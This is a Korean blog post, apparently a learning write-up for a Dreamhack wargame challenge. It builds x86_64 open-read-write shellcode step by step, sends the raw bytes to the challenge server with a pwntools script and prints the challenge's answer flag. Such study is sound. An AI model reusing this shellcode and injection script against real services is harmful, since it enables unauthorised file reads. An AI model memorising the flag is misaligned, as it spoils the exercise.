프롤로그
되게 오랫동안 버려두었던...시스템 호출...
어려운 것도 있고...레지스터도 뒤지게 많고...이참에 한 번에 정리하고 제대로 해보자.
문제
https://dreamhack.io/wargame/challenges/410
사전 정보
syscall : 운영체제의 커널이 제공하는 서비스에 대한 프로그램의 요청을 말한다.
open : 파일을 열거나 생성하기 위한 시스템 호출이다. 파일을 열 때 필요한 정보를 지정하고, 파일이 성공적으로 열리면 파일 디스크립터라는 정수값을 반환한다.
파일 열기
#include <fcntl.h> // 파일 제어 정의를 포함
int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
필요한 것은 pathname, flags, mode 이렇게 3개이다
pathname 은 열고자 하는 파일의 경로
flags 는 파일을 여는 방식 지정이다. 읽기 전용은 O_RDONLY, 쓰기 전욕은 O_WRONLY, 읽기/쓰기모드는 O_RDWR이다. mode에는 파일을 생성할 때 접근권한을 지정하는 것이다. 파일을 읽을 때는 접근 권한이 딱히 필요없으니 넘어가겠다.
그러므로 최종적으로 우리는 /home/shell_basic/flag_name_is_loooooong
int fd = open("/home/shell_basic/flag_name_is_loooooong", O_RDONLY, NULL);
를 읽어야 하므로 C언어로 나타난다면 위와 같다.
이때, fd는 파일 디스크립터이다. 파일작업이 끝나면 close로 파일 디스크립터를 닫아야한다. 이는 리소스 누수를 방지한다.
이 것을 셸코드에 지정할 때에는,
rax -> rdi -> rsi, -> rdx 순서대로 넣는다고 한다. 이는 x86_64 아키텍쳐에서 시스템 호출 규약에 따른 것이므로 그냥 외우면 된다.
파일을 열 때 각 레지스터에 값을 넣어주고, syscall 을 사용하면 된다.
레지스터 설명
일단 그 전에 레지스터에 대해 간단히 적자면
레지스터 이름 | 약자 | 의미 |
rax | Accumulator | 일반적인 목적, 산술 연산에서 중심 역할/시스템 호출 번호 저장 사용 |
rdi | Destination Index | 문자열이나 배열 데이터를 목적지로 전송할 때 주로 사용. / 첫번째 인자를 전달하는 데 사용 |
rsi | Source Index | 문자열이나 배열 데이터를 원본에서 읽어올 때 사용/ 두번재 인자를 전달하는데 사용 |
rdx | Data | 산술 연산에서 추가적인 데이터 제공, 입출력 연산에서 데이터 전달하는데 사용/세번째 인자를 전달하는 데 사용 |
그 외에도
레지스터 이름 | 약자 | 의미 |
rbx | Base | 데이터의 기준 주소를 저장 |
rcx | Counter | 루프, 문자열 연산, 시프트 연산의 카운터로 사용 |
rbp | Base Pointer | 스택 프레임의 기준 주소를 저장 |
rsp | Stack Pointer | 현재 스택의 꼭대기 |
더 있지만 일단은 이정도만 정리하자
다시 아까 설명으로 돌아와서
open 함수의 레지스터에 각각 무엇이 들어갈지 정리하면
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
open | 0x02 | 파일 이름 | 파일을 어떻게 열것인가(읽기, 쓰기) | 접근 권한 |
이렇게 된다.
이때, rax값에는 시스템 호출 번호가 들어가는데, syscall 을 할 때 어떤 명령을 수행할 것인지라고 생각하면 된다.
0x00은 read, 0x01은 write, 0x02는 open 이다.
그렇다면, open이라는 syscall을 이용하기 위해서 일단 rax에는 0x02를 넣어줘야하고, rdi에는 파일 이름을 넣어줘야하는데 스택에다가 push로 파일이름을 집어넣어주고, 그것을 rdi가 가리키게 만들면 된다.
rdi는 일단 재껴두고, rsi, rdx에 값을 먼저 채워보자.
rsi에서 , 파일을 읽기 전용으로 올리기 위해서는 rsi 에 값을 0을 넣어줘야한다. 쓰기전용은 1이다.
rsi에 값을 넣어주기 위해, 여기에 현재 저장되어 있는 값에 xor 같은 값을 해주면 0이 알아서 된다.
rdx는 NULL이기에 똑같이 0을 넣어주면 된다.
다시 이제 rdi에 파일이름을 넣어주기 위해서... /home/shell_basic/flag_name_is_loooooong 이 값을 메모리에 넣어줘야한다.
메모리는 하나당 8바이트씩 읽는다. 16진수는 하나당 4비트이므로, 16진수 2글자에 1바이트 , 즉 메모리 하나 8바이트에 16진수를 넣기 위해서는 16글자만 들어갈 수 있다.
/home/shell_basic/flag_name_is_loooooong 을 16진수로 일단 바꿔보자.
0x2f686f6d652f7368656c6c5f62617369632f666c61675f6e616d655f69735f6c6f6f6f6f6f6f6e67
스택 은 높은 주소에서부터 낮은 주소로 해줘지기에 거꾸로 집어넣어줘야한다. 이를 리틀 엔디언 방식이라고 한다.
리틀 엔디언 방식은 메모리의 첫 주소에 낮은 바이트 부터 저장하는 방식이다.
아무튼 거꾸로 집어넣어줘야 스택은 거꾸로부터 채워진다. 이정도로 알아두자. 그래서
우리는 한 글자에 8비트(1바이트), 16진수로 두 글짜씩 정리해서 8글자씩 끊은 다음에, 이걸 거꾸로 각각 블록단위로 뒤집고 16진수로 변환시키면 된다.
/home/sh
ell_basi
c/flag_n
ame_is_l
oooooong
이렇게 끊을 수 있다. 이걸 전부 각각 뒤집으면
hs/emoh/
isab_lle
n_galf/c
l_si_ema
gnoooooo
이걸 이제 각각 16진수로 표현하면
68732f656d6f682f
697361625f6c6c65
6e5f67616c662f63
6c5f73695f656d61
676e6f6f6f6f6f6f
이제 이걸 맨 아래서부터 차례대로 stack에 push를 해주면 나중에 메모리 낮은 주소에서부터 꺼낼때 우리가 원하는 /home/shell_basic/flag_name_is_loooooong라고 인지를 할 수 있을 것이다.
이를 코드로 구현하면
push 0x676e6f6f6f6f6f6f
push 0x6c5f73695f656d61
push 0x6e5f67616c662f63
push 0x697361625f6c6c65
push 0x68732f656d6f682f
이러면 스택포인터인 rsp가 가장 마지막에 넣은 68732f656d6f682f 여기를 가리키고 있는데, rdi에 rsi 값을 넣어주기만 한다면, 파일이름을 넣는 rdi에는 파일 이름이 제대로 가리키게 된다.
이를 마저 코드로 작성하면
mov rdi, rsp
그리고 아까, rsi와 rdx에는 각각 0이 들어간다고 하였으니,
xor rsi, rsi
xor rdx, rdx
위와같이 코드를 짜고, 읽기는 시스템호출 2번이니까 rax에 2번을 넣어주고 syscall을 해주면 된다
mov rax, 2
syscall
최종적으로 합치면
push 0x676e6f6f6f6f6f6f
push 0x6c5f73695f656d61
push 0x6e5f67616c662f63
push 0x697361625f6c6c65
push 0x68732f656d6f682f
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
이렇게 된다.
파일 읽기
그 다음에는 파일을 열었으니까, 그것을 이제 읽어야한다.
read는 시스템 호출할 때 데이터를 읽기 위해 사용된다.
#include <unistd.h>
ssize_t read(int fd, void *buf, size_t count);
fd는 읽기 작업을 수행할 파일 디스크립터이다. 아까 open에서 받았던 그 fd이다.
buf는 읽은 데이터를 저장할 버퍼의 주소이다. read 호출이 성공하면 이 버퍼에 데이터가 저장된다.
count는 읽고자 하는 최대 바이트 수이다. 이것보다 작을 수 있다.
이것도
syscall | rax | ard0 (rdi) | arg1 (rsi) | arg2 (rdx) |
read | 0x00 | 아까 fd, rax에 저장되어 있음. | 파일에서 읽은 데이터를 저장할 주소 | 파일로부터 읽어낼 데이터의 길이 |
읽기를 호출하기 위해선 rax에는 0이 들어가야하니 아까처럼 xor rax, rax 하면 될 테고, rdi는 아까 open할 때 받은 것인데, 아까 열은 데이터는 rax에 저장이 되어 있을 것이다. 그니까 rax를 rdi에 먼저 넣은 다음에 rax값에 0을 집어넣어줘야한다.
rdx 는 얼마나 읽을지 모르지만 0x30 이라고 치고 그냥 0x30을 넣는다.
rsi는 파일에서 읽은 데이터를 저장할 주소, 아까 스택 메모리에 값 넣었을 때 위치보다 0x30만큼 더 읽을 것이니까 rsp -0x30 위치에다가 하면 되니까 rsi = rsp- 0x30 이어ㅑ한다.
이제 코드를 짜보자.
첫번째로는 rdi에 아까 파일 열은 디스크립트가 rax에 저장되어 있는 값을 넣어준다.
mov rdi, rax
그리고, rax에는 시스템 호출을 할 0x00을 넣는다.
mov rax, 0x0;
그리고 rsi에는 rsp- 0x30이 들어가야 하므로
mov rsi, rsp
sub rsi, 0x30
마지막으로 rdx에는 0x30을 넣자.
mov rdx, 0x30
합치고 syscall을 하면
mov rdi, rax
mov rax, 0x0
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
syscall
이렇게 하면 read로 성공이다
파일 쓰기
write(1, buf, 0x30);
이걸 해야한다.
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
write | 0x01 (write) | 파일 기술자 stdout 할려면 0x1 | 저장되어 있는 메모리 주소 | 쓸 데이터 크기 |
일단, rsi, rdx는 아까와 같으므로 그냥 넘어간다.
rdi는 어디에 적을 것인가인데, 파일기술자 1번은 모니터 이므로, 여기에다가 출력하겠다는 의미이다.
그러므로 rdi에는 1 을 넣고, rax는 시스템 호출번호 0x1을 넣으면 된다.
mov rdi, 1
mov rax, 0x1
syscall
파일 기술자?
유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자.
0은 입력, 1은 출력, 2은 일반 오류 출력이다.
자 이제 종합하면
push 0x676e6f6f6f6f6f6f
push 0x6c5f73695f656d61
push 0x6e5f67616c662f63
push 0x697361625f6c6c65
push 0x68732f656d6f682f
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
mov rdi, rax
mov rax, 0x0
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
syscall
mov rdi, 1
mov rax, 0x1
syscall
코드는 이렇게 될 것이다.
이걸 shellcode.S로 저장하자.
저대로 하려고 했는데, 위에 뭔가가 추가되어야한다.
section .data
filename db "/home/shell_basic/flag_name_is_loooooong", 0
section .text
global _start
_start:
이거 있어야한다.
저거 위에 합치고 다시하면
;Name: orw.S
section .data
filename db "/home/shell_basic/flag_name_is_loooooong", 0
section .text
global _start
_start:
push 0x676e6f6f6f6f6f6f
push 0x6c5f73695f656d61
push 0x6e5f67616c662f63
push 0x697361625f6c6c65
push 0x68732f656d6f682f
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
mov rdi, rax
mov rax, 0x0
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
syscall
mov rdi, 1
mov rax, 0x1
syscall
; 종료
mov rax, 60 ; 시스템 호출 번호 (60은 종료)
xor rdi, rdi ; 종료 코드 (0)
syscall
이 파일은 orw.asm으로 저장한다.
파일 실행하기
자. 좀 이부분을 찾느라 힘들었는데
제일 먼저 오브젝트 파일을 생성하자.
nasm -f elf64 orw.asm
무슨 경고창 뜨는데 무시하자
orw.o 라는 목적파일이 하나 생성되었다.
그 다음
objcopy --dump-section .text=orw.bin orw.o
을 하면 orw.bin 이라는 bin 파일이 생성되고 이걸
xxd orw.bin
을 통해 출력하면
이렇게 나온다. 즉 바이트 코드를 추출하는 것이다.
저걸 기계어로 추출해야하는데
파이썬 코드를 작성하였다
# 파일 이름과 경로
file_path = "./orw.bin"
# 파일을 바이트로 읽기
with open(file_path, "rb") as file:
# 파일을 읽고 기계어 코드를 바이트로 출력
machine_code = file.read()
for byte in machine_code:
print("\\x{:02x}".format(byte), end='')
print() # 개행 문자 출력
파일 경로를 read binary 로 읽고
파일을 읽은 다음에
각 바이트를 \x{:02x} 형식으로 가져오는 코드이다.
출력하면 이렇게 나오고
이걸 이제 pwntools 를 통해서 넘겨줘야한다.
pwntools 이용하기
여기가 마지막 고비였다. pwntools 를 ㄹㅇ ㅋㅋ gdb때문에 그냥 넘어갔던 거 같은데 ㅋㅋ
일단 pwntools 설치는...
where python 으로 파이썬 경로를 찾고
C:\Users\User>where python
C:\Users\User\AppData\Local\Programs\Python\Python312\python.exe
C:\Users\User\AppData\Local\Programs\Python\Python311\python.exe
C:\Users\User\anaconda3\python.exe
그 다음에
C:\Users\User\AppData\Local\Programs\Python\Python312\python.exe -m pip install pwntools
이렇게 하면 설치가 완료된다.
다음 코드를 짜자.
from pwn import *
p = remote("host3.dreamhack.games", 23622) ;
context.arch = "amd64"
shellcode = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"
p.sendlineafter("shellcode: ", shellcode)
print(p.recv())
코드 분석을 하면
p = remote('example.com', 31337) # 'example.com'의 31337 포트에서 실행 중인 프로세스를 대상으로 익스플로잇 수행
포트가 있으니까, 실행중인 프로세스를 대상으로 익스플로잇을 수행하고
shellcode 부분에다가 아까 나온 그 기계어 값 넣고
p.sendlineafter(b'hello', b'A') # ./test가 b'hello'를 출력하면, b'A' + b'\n'을 입력
shellcode 라는 단어가 나오면 뒤에 넣는다.
data = p.recv(1024) # p가 출력하는 데이터를 최대 1024바이트까지 받아서 data에 저장
이렇게 된다.
아 이것까지 알아보기는 좀 힘드네
아무튼 실행을 하면
플래그는
DH{ca562d7cf1db6c55cb11c4ec350a3c0b}
이다.
에필로그
아....이거 푸는데 6시간 걸렸다.
아예 몰랐던 거 가정하에 하나하나 다 알아가면서 한 거라서 ㅋㅋ
'보안 스터디 > 시스템 해킹' 카테고리의 다른 글
[드림핵/시스템해킹] Background: Library - Static Link vs. Dynamic Link (0) | 2024.04.26 |
---|---|
[드림핵/시스템해킹] Mitigation: NX & ASLR (0) | 2024.04.21 |
[드림핵/시스템해킹] Exploit Tech: Shellcode -2 (0) | 2023.12.31 |
[드림핵/시스템해킹] Exploit Tech: Shellcode -1 (1) | 2023.12.31 |
[드림핵/시스템해킹] Tools : gdb -2 (0) | 2023.12.29 |